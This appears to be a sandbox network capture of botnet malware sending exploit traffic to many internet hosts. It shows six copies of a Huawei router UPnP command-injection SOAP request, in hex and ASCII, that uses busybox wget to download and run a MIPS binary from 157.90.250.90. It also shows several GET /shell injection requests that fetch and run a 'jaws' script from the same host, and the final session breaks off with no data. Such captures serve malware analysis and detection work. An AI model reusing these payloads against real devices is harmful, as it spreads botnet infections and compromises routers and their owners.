Jan 2, 2024 06:23:58.065002918 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:00.048727989 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:04.240164042 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:12.175045967 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:28.044784069 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:01.064141989 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	34232	38.181.35.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:57.729739904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:58.042231083 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:57 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	57840	104.91.11.151	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:57.977771044 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:58.223002911 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:23:58 GMT Date: Tue, 02 Jan 2024 05:23:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 36 35 37 62 35 63 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 38 26 23 34 36 3b 33 62 64 39 62 38 34 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5657b5c.1704173038.3bd9b841</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	43892	207.60.214.53	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:58.146251917 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:58.314632893 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:23:58 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	59784	23.43.229.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:58.287305117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:58.597147942 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:23:58 GMT Date: Tue, 02 Jan 2024 05:23:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 66 31 34 32 30 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 38 26 23 34 36 3b 31 34 65 65 30 31 37 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3f142017.1704173038.14ee0172</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	59634	154.216.168.76	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:58.312911987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:58.648139000 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:58 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	52046	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
